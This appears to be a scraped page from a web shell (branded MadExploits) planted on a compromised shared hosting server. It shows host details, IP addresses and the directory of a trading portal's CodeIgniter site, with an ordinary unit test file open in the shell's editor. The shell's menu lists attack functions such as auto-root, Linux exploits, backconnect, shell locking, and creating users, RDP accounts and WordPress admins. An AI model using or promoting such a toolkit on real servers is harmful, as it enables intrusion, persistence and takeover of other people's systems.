Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.217.2
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
portal.tradesense.co.ke /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
HealthTest.php
1.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HealthTest.php
<?php use CodeIgniter\Test\CIUnitTestCase; use Config\App; use Config\Services; use Tests\Support\Libraries\ConfigReader; /** * @internal */ final class HealthTest extends CIUnitTestCase { public function testIsDefinedAppPath() { $this->assertTrue(defined('APPPATH')); } public function testBaseUrlHasBeenSet() { $validation = Services::validation(); $env = false; // Check the baseURL in .env if (is_file(HOMEPATH . '.env')) { $env = preg_grep('/^app\.baseURL = ./', file(HOMEPATH . '.env')) !== false; } if ($env) { // BaseURL in .env is a valid URL? // phpunit.xml.dist sets app.baseURL in $_SERVER // So if you set app.baseURL in .env, it takes precedence $config = new App(); $this->assertTrue( $validation->check($config->baseURL, 'valid_url'), 'baseURL "' . $config->baseURL . '" in .env is not valid URL' ); } // Get the baseURL in app/Config/App.php // You can't use Config\App, because phpunit.xml.dist sets app.baseURL $reader = new ConfigReader(); // BaseURL in app/Config/App.php is a valid URL? $this->assertTrue( $validation->check($reader->baseURL, 'valid_url'), 'baseURL "' . $reader->baseURL . '" in app/Config/App.php is not valid URL' ); } }
Close